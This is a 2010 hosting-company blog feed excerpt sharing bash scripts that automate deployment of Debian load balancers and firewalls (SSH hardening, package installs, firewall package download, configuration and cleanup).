&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Moving files into place...&quot;</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #800000;">${KAD}</span><span style="color: #660033;">-template</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #800000;">${FW}</span><span style="color: #660033;">-template</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #800000;">${COMMIT}</span><span style="color: #660033;">-template</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #800000;">${CONFIGURE_LVS}</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #800000;">${HOSTS}</span>.new <span style="color: #800000;">${HOSTS}</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #800000;">${INTERFACES}</span>.new <span style="color: #800000;">${INTERFACES}</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #800000;">${NRPE}</span>.new <span style="color: #800000;">${NRPE}</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #800000;">${EXIM}</span>.new <span style="color: #800000;">${EXIM}</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">700</span> <span style="color: #800000;">${FW}</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">700</span> <span style="color: #800000;">${COMMIT}</span><br />
&nbsp; &nbsp; update-rc.d keepalived defaults <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; update-exim4.conf <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># for compatibility</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Generating RSA Keys&quot;</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">ssh-keygen</span> <span style="color: #660033;">-t</span> rsa <span style="color: #660033;">-f</span> ~<span style="color: #000000; font-weight: bold;">/</span>.ssh<span style="color: #000000; font-weight: bold;">/</span>id_rsa <span style="color: #660033;">-P</span> <span style="color: #ff0000;">''</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
<br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
clean_up_and_reboot<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># remove:</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># -- temp task file</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$TASKS</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># remove self from .bashrc</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>.bashrc.orig <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>.bashrc.orig <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>.bashrc<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">fi</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-z</span> <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>.bashrc <span style="color: #7a0874; font-weight: bold;">&#93;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>.bashrc<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">fi</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># delete self</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$0</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># and reboot.</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Please reboot system.&quot;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">#reboot -n</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
debug_quit<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># hard exit the script in appropriately referenced files </span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># so that no reboot happens.</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;debug_quit seen in tasks file, exiting.&quot;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
set_hostname<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Setting LVS hostname... &quot;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">hostname</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">hostname</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">hostname</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>mailname<br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
usage<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Usage: <span style="color: #007800;">$PROGNAME</span>&quot;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">###############################</span><br />
<span style="color: #666666; font-style: italic;">### MAIN SCRIPT STARTS HERE ###</span><br />
<span style="color: #666666; font-style: italic;">###############################</span><br />
<br />
<span style="color: #666666; font-style: italic;"># installer_splash</span><br />
installer_splash<br />
<br />
<span style="color: #666666; font-style: italic;"># fix working dir.</span><br />
<span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #007800;">$WORKDIR</span><br />
<br />
<span style="color: #666666; font-style: italic;"># does our installer file exist? if not, initalize it.</span><br />
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$TASKS</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><br />
<span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] No task file found, installation will start from beginning.&quot;</span><br />
&nbsp; &nbsp; init_tasks<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$?</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[!] ERROR: Cannot create tasks file. Installation will not continue.&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">fi</span><br />
<span style="color: #000000; font-weight: bold;">else</span> <br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Tasks file located - starting where you left off.&quot;</span><br />
<span style="color: #000000; font-weight: bold;">fi</span><br />
<br />
<span style="color: #666666; font-style: italic;"># start popping off tasks from the task list and running them.</span><br />
<span style="color: #666666; font-style: italic;"># pop first step off of the list</span><br />
<span style="color: #007800;">STEP</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">head</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span> <span style="color: #007800;">$TASKS</span><span style="color: #000000; font-weight: bold;">`</span><br />
<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-z</span> <span style="color: #007800;">$STEP</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><br />
<span style="color: #000000; font-weight: bold;">do</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># execute the function.</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>###################################&quot;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Running step: <span style="color: #007800;">$STEP</span>&quot;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;###################################<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><br />
&nbsp; &nbsp; <span style="color: #007800;">$STEP</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #007800;">$?</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># command failed.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[!] ERROR: Step <span style="color: #007800;">$STEP</span> failed!&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot; &nbsp; &nbsp;Installation will now abort - you can pick it up after fixing the problem&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">fi</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># throw up a newline just so things don't look so crowded</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># remove function from function list.</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-pi</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;s/<span style="color: #007800;">$STEP</span><span style="color: #000099; font-weight: bold;">\n</span>?//&quot;</span> <span style="color: #007800;">$TASKS</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #007800;">STEP</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">head</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span> <span style="color: #007800;">$TASKS</span><span style="color: #000000; font-weight: bold;">`</span><br />
<span style="color: #000000; font-weight: bold;">done</span><br />
<br />
<span style="color: #666666; font-style: italic;"># clean_up_and_reboot</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Installation finished - cleaning up.&quot;</span><br />
clean_up_and_reboot<br />
<br />
<span style="color: #666666; font-style: italic;"># script is done now - termination should happen with clean_up_and_reboot.</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[!] Should not be here!&quot;</span><br />
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span></div></div>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F&amp;linkname=Automatically%20Deploy%20Debian%20Load%20Balancers%20with%20bash%20scripting" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F&amp;linkname=Automatically%20Deploy%20Debian%20Load%20Balancers%20with%20bash%20scripting" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F&amp;linkname=Automatically%20Deploy%20Debian%20Load%20Balancers%20with%20bash%20scripting" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F&amp;linkname=Automatically%20Deploy%20Debian%20Load%20Balancers%20with%20bash%20scripting" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F&amp;title=Automatically%20Deploy%20Debian%20Load%20Balancers%20with%20bash%20scripting" id="wpa2a_12"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/06/14/automatically-deploy-debian-load-balancers-with-bash-scripting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Automatically Deploy Debian Firewalls with bash scripting</title>
		<link>http://www.stardothosting.com/blog/2010/06/02/automatically-deploy-debian-firewalls-with-bash-scripting/</link>
		<comments>http://www.stardothosting.com/blog/2010/06/02/automatically-deploy-debian-firewalls-with-bash-scripting/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 19:47:25 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[firewalls]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[systems administration]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=342</guid>
		<description><![CDATA[Automation is as necessary as any other aspect of systems administration in any critical or production environment where growth and scalability are moving at a significant pace. Growth in any organization is obviously a good thing. In the systems administrator&#8217;s perspective, however, growth can mean more time spent deploying systems and less time spent focusing [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F02%2Fautomatically-deploy-debian-firewalls-with-bash-scripting%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Automation is as necessary as any other aspect of systems administration in any critical or production environment where growth and scalability are moving at a significant pace.</p>
<p>Growth in any organization is obviously a good thing. In the systems administrator&#8217;s perspective, however, growth can mean more time spent deploying systems and less time spent focusing on other duties.</p>
<p>Automating the server deployment process is the natural next step when your organization has grown to a point where time efficiency becomes more relevant and noticeable to your business owners.</p>
<p>This is the first in a series of posts here where we will explain and share shell scripts that automate the deployment process of several key debian linux based systems. These scripts automate the patching, configuration and implementation of said systems.</p>
<p>They will certainly have to be modified to fit your organization&#8217;s needs and standards obviously, but hopefully it will give you a starting point to base your automation / roll-out policies.</p>
<p>Making your life easier and more automated is always a good thing! <img src='http://www.stardothosting.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  </p>
<p><small><b></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/bin/sh<br />
# Debian FW deployer script<br />
# Version 1.0<br />
<br />
PROGNAME=&quot;$0&quot;<br />
VERSION=&quot;1.0&quot;<br />
<br />
# working directory for deployer process.<br />
WORKDIR=&quot;/root&quot;<br />
<br />
# tasks left (this is updated every step to accommodate recovery during<br />
# the deployer &nbsp;process)<br />
TASKS=&quot;./deploy-fw.tasks&quot;<br />
<br />
init_tasks() {<br />
&nbsp; &nbsp; # This function will write a new tasks file.<br />
&nbsp; &nbsp; # it's called from the main body of the script if a tasks file does not exist.<br />
&nbsp; &nbsp; cat &gt; $TASKS&lt;&lt;EOS || return 1<br />
nopasswd_ssh<br />
add_pkgs<br />
get__fw<br />
configure_fw<br />
set_hostname<br />
EOS<br />
&nbsp; &nbsp; return 0<br />
}<br />
<br />
installer_splash() {<br />
&nbsp; &nbsp; echo &quot;[+] Firewall deployer script starting...&quot;<br />
&nbsp; &nbsp; echo &quot; &nbsp; &nbsp;Version: $VERSION&quot;<br />
&nbsp; &nbsp; echo<br />
&nbsp; &nbsp; return 0<br />
}<br />
<br />
nopasswd_ssh() {<br />
&nbsp; &nbsp; # disable passwd auth on SSH<br />
&nbsp; &nbsp; echo &quot;[+] Disabling password authentication for SSH... &quot;<br />
&nbsp; &nbsp; perl -pi -e 's/^PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config<br />
&nbsp; &nbsp; perl -pi -e 's/^#PermitRootLogin yes/PermitRootLogin without-password/g' /etc/ssh/sshd_config<br />
&nbsp; &nbsp; /etc/init.d/ssh restart<br />
&nbsp; &nbsp; return 0<br />
}<br />
<br />
add_pkgs() {<br />
&nbsp; &nbsp; PKGS=&quot;libssl0.9.7 exim4 iproute ethtool tcpdump snmpd pciutils less python&quot;<br />
&nbsp; &nbsp; echo &quot;[+] Installing packages: $PKGS... &quot;<br />
&nbsp; &nbsp; apt-get -y install $PKGS || return 1<br />
&nbsp; &nbsp; return 0<br />
}<br />
<br />
get__fw() {<br />
&nbsp; &nbsp; echo &quot;[+] Downloading &nbsp;packages... &quot;<br />
&nbsp; &nbsp; # download the latest version of the &nbsp;Client firewall package.<br />
&nbsp; &nbsp; wget --no-check-certificate http://www.yoursite.com/fw.tgz -O /tmp/firewall.tgz || return 1<br />
&nbsp; &nbsp; # get the latest firewall.trusted file<br />
&nbsp; &nbsp; wget --no-check-certificate http://www.yoursite.com/firewall.trusted -O /tmp/firewall.trusted || return 1<br />
&nbsp; &nbsp; # unpack firewall scripts<br />
&nbsp; &nbsp; tar --no-same-owner --no-same-permissions --directory / -zxvf /tmp/firewall.tgz || return 1<br />
&nbsp; &nbsp; mv /tmp/firewall.trusted /etc/network/firewall.trusted || return 1<br />
&nbsp; &nbsp; chmod +x /etc/network/firewall.trusted || return 1<br />
&nbsp; &nbsp; rm /tmp/firewall.tgz || return 1<br />
&nbsp; &nbsp; echo &quot;done.&quot;<br />
&nbsp; &nbsp; return 0<br />
}<br />
<br />
configure_fw() {<br />
&nbsp; &nbsp; # time to configure the &nbsp;FW<br />
&nbsp; &nbsp; &nbsp; &nbsp; KAD=/etc/keepalived/keepalived.conf<br />
&nbsp; &nbsp; FW=/etc/network/firewall<br />
&nbsp; &nbsp; RELOAD=/etc/network/reload.sh<br />
&nbsp; &nbsp; HOSTS=/etc/hosts<br />
&nbsp; &nbsp; INTERFACES=/etc/network/interfaces<br />
&nbsp; &nbsp; NRPE=/etc/nagios/nrpe_local.cfg<br />
&nbsp; &nbsp; EXIM=/etc/exim4/update-exim4.conf.conf<br />
&nbsp; &nbsp; CONFIGURE_FW=/etc/network/configure-fw.pl<br />
&nbsp; &nbsp; echo &quot;[+] Configuring Firewall...&quot;<br />
&nbsp; &nbsp; perl $CONFIGURE_FW<br />
&nbsp; &nbsp; if [ $? -ne 0 ]; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[!] ERROR: Configuring firewall script failed!&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; return 1<br />
&nbsp; &nbsp; fi<br />
&nbsp; &nbsp; echo &quot;[+] Moving files into place...&quot;<br />
&nbsp; &nbsp; rm ${KAD}-template || return 1<br />
&nbsp; &nbsp; rm ${FW}-template || return 1<br />
&nbsp; &nbsp; rm ${RELOAD}-template || return 1<br />
&nbsp; &nbsp; rm ${CONFIGURE_FW}<br />
&nbsp; &nbsp; mv ${HOSTS}.new ${HOSTS} || return 1<br />
&nbsp; &nbsp; mv ${INTERFACES}.new ${INTERFACES} || return 1<br />
&nbsp; &nbsp; mv ${NRPE}.new ${NRPE} || return 1<br />
&nbsp; &nbsp; mv ${EXIM}.new ${EXIM} || return 1<br />
&nbsp; &nbsp; chmod 700 ${FW}<br />
&nbsp; &nbsp; chmod 700 ${RELOAD}<br />
&nbsp; &nbsp; update-rc.d keepalived defaults || return 1<br />
&nbsp; &nbsp; update-exim4.conf || return 1<br />
&nbsp; &nbsp; # for compatibility<br />
&nbsp; &nbsp; echo &quot;[+] Generating RSA Keys&quot;<br />
&nbsp; &nbsp; ssh-keygen -t rsa -f ~/.ssh/id_rsa -P '' || return 1<br />
<br />
&nbsp; &nbsp; return 0<br />
}<br />
clean_up_and_reboot() {<br />
&nbsp; &nbsp; # remove:<br />
&nbsp; &nbsp; # -- temp task file<br />
&nbsp; &nbsp; rm $TASKS<br />
&nbsp; &nbsp; # remove self from .bashrc<br />
&nbsp; &nbsp; if [ -f /root/.bashrc.orig ]; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; mv /root/.bashrc.orig /root/.bashrc<br />
&nbsp; &nbsp; fi<br />
&nbsp; &nbsp; if [ -z /root/.bashrc ]<br />
&nbsp; &nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; rm /root/.bashrc<br />
&nbsp; &nbsp; fi<br />
&nbsp; &nbsp; # delete self<br />
&nbsp; &nbsp; rm $0<br />
&nbsp; &nbsp; # and reboot.<br />
&nbsp; &nbsp; echo &quot;[+] Please reboot system.&quot;<br />
&nbsp; &nbsp; #reboot -n<br />
&nbsp; &nbsp; exit 0<br />
}<br />
<br />
debug_quit() {<br />
&nbsp; &nbsp; # hard exit the script in appropriately referenced files <br />
&nbsp; &nbsp; # so that no reboot happens.<br />
&nbsp; &nbsp; echo &quot;debug_quit seen in tasks file, exiting.&quot;<br />
&nbsp; &nbsp; exit 0<br />
}<br />
<br />
set_hostname() {<br />
&nbsp; &nbsp; echo &quot;[+] Setting FW hostname... &quot;<br />
&nbsp; &nbsp; echo `hostname` &gt; /etc/hostname<br />
&nbsp; &nbsp; echo `hostname` &gt; /etc/mailname<br />
&nbsp; &nbsp; echo &quot;done.&quot;<br />
&nbsp; &nbsp; return 0<br />
}<br />
<br />
usage() {<br />
&nbsp; &nbsp; echo &quot;[+] Usage: $PROGNAME&quot;<br />
&nbsp; &nbsp; echo<br />
&nbsp; &nbsp; return 0<br />
}<br />
<br />
###############################<br />
### MAIN SCRIPT STARTS HERE ###<br />
###############################<br />
<br />
# installer_splash<br />
installer_splash<br />
<br />
# fix working dir.<br />
cd $WORKDIR<br />
<br />
# does our installer file exist? if not, initalize it.<br />
if [ ! -f $TASKS ]<br />
then<br />
&nbsp; &nbsp; echo &quot;[+] No task file found, installation will start from beginning.&quot;<br />
&nbsp; &nbsp; init_tasks<br />
&nbsp; &nbsp; if (($? != 0))<br />
&nbsp; &nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;[!] ERROR: Cannot create tasks file. Installation will not continue.&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; exit 1<br />
&nbsp; &nbsp; fi<br />
else <br />
&nbsp; &nbsp; echo &quot;[+] Tasks file located - starting where you left off.&quot;<br />
fi<br />
<br />
# start popping off tasks from the task list and running them.<br />
# pop first step off of the list<br />
